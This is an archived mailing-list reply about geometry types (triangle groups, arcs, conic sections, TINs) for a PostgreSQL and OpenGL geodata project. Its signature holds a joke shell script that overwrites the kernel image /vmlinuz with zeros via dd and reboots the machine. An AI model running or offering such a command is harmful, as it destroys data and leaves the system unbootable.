From: Eric G . Miller <egm2@jp...>  20000620 06:58:05

On Tue, Jun 20, 2000 at 05:48:43PM +1200, Franck Martin wrote: > NONE is when no geo object is associated with tuple Got it, just a regular "record" of attribute data. > REGION is a collection of polygons. Basically we need polygons, but > from OpenGL we would rather need a collection of triangles... OpenGL > doesn't know how to display concave polygons. You have to go through > fancy programmation to make your concave object into a collection of > convex objects. So we better store the collection of convex object. > OpenGL gets the trick by a fourth coordinate that define if the > segment of the convex object should be displayed as an edge or not. Yea, I've been thinking that 3d polygons don't make any sense. About all you get is wasted disk space. I was thinking we should just skip to surfaces as either meshes (grids) or tins  probably both eventually. A trianglegroup would be easy enough to define. It takes three point3d's. An array of triangles can be aggregated to form logical "polygons". So, a 2d polygon layer and an elevation model can be used to create tinareas where the density of the triangles can be determined by the user, the local extrema of the dem and the "breaklines" of the polygon boundaries, and the tinarea "inherits" the attributes of the original 2d polygon. Guess we'll want to work out representation of gridded data (large object?) as well. Obviously, that fourth dimension will have to be figured at run time, based on viewing angle. Don't know squat about OpenGL though... > ARC is an ARC of circle Useful, but hard to mix in with regular lines, can be described by three points (Origin, and two points on the circle, or start, midpoint, end), or one point, four angles and a radius (P_0, r, theta_1, lambda_1, theta_2, lambda_2). Easiest seems the three point with the first being the origin, the second being the the start point and the third being the end. Related types would be spline curves and generic conic section types (would need rotation/translation parameters). Such types can form more natural looking objects. I've thought about making a generic conic section type. It'd have to have a domain and translation/rotation parameters. Basically, it'd be a set of coefficients for a generic conic with some extra parameters. It'd be a bit of math overhead in the rendering! > ROUNDRECT is a rectangle with rounded edge Hmm, still don't see how that's useful. Is it just for "graphic" objects? > You may have noticed that I made some modifs in the geo3d CVS to allow > easier compilation and installation. I'm starting to understand make, > automake, and autoconf... Unfortunatley the sql installation script > are defined for the location of my lib/pgsql... Yea, I noticed when I tried to commit. No big deal. It's about time I put the Makefiles in order. Well, I'll work on that triangle bit first, since it seems the most useful in the near future...  #! /bin/sh echo 'Linux Must Die!'  wall dd if=/dev/zero of=/vmlinuz bs=1 \ count=`du Lb /vmlinuz  awk '{ /^([09])+/ ; print $1 }'` shutdown r now 